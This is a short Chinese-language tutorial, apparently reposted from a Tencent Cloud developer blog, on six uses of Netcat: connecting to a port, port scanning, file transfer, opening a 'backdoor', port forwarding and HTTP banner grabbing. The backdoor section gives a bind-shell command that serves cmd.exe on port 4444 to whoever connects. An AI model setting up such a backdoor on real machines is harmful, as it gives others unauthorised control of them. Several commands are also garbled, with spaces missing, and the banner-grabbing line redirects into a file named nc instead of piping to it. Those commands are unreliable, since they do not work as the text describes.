Netcat被成为TCP/IP中的瑞士军刀,几乎可以完成网络操作中的任何操作。Nmap团队开发了Ncat作为Netcat的升级版,因为Netcat的作者在96年发布稳定版以后就放弃维护了。
1、网络连接
代码语言:javascript复制nc mail.server.net 25
类似于Telnet的功能,向25号TCP端口发起连接
2、端口扫描
代码语言:javascript复制nc -v -z hostnameport[s]
相比Nmap来说,NC的扫描实在太弱了,所以端口扫描依旧推荐使用Nmap进行
3、文件传输
它可以像Cat命令一样将读取的文件重定向到网络上的另外的文件。Netcat在网络应用中既可以当做服务器端,开启本机一个监听端口,也可以作为客户端向其他服务器端口发起连接。所以,文件传输,即是在两端分别运行Netcat。
代码语言:javascript复制nc -L -p 4444 >receivedfile.zip
此处-L启动监听模式(即作为服务器端),开启4444端口,将接受到的数据写入到文件somefile.zip中。而在发送端,只需连接该服务器端开放的端口,并选择需要发送的文件。
代码语言:javascript复制nc 192.168.1.43 4444 <testfile.zip
4、开启后门
代码语言:javascript复制nc -L -p 4444 -e cmd.exe
以监听模式启动Netcat,开启TCP端口4444,在与客户端成功建立连接后,执行cmd.exe程序(-e cmd.exe,此处为用户打开命令行执行窗口,用户可以通过命令操作此计算机)。在客户端,直接连接目标机的4444端口即可。
代码语言:javascript复制nc 192.168.1.43 4444
5、端口转发
代码语言:javascript复制mkfifobackpipe
nc-l 12345 0<backpipe | ncwww.google.com 801>backpipe
此处开启端口12345,作为www.google.com的代理。其他无法直接登陆google的用户可以通过此代理端口来与google进行交互。这里创建了一个fifo,是为实现双向数据通讯,因为管道运算符本身是单向的。
6、标语提取
首先创建一份文件,包含以下文本:
代码语言:javascript复制HEAD / HTTP/1.0
<return>
<return>
然后将此文件发送到目标服务器的80端口,诱发对方发送HTTP首部数据。然后从output.txt可以查看对方发送的HEAD标语信息。
代码语言:javascript复制cat file>nc -vv -w 2 www.cnn.com 80 >output.txt
版权属于:逍遥子大表哥
本文链接:https://cloud.tencent.com/developer/article/1920457
按照知识共享署名-非商业性使用 4.0 国际协议进行许可,转载引用文章应遵循相同协议。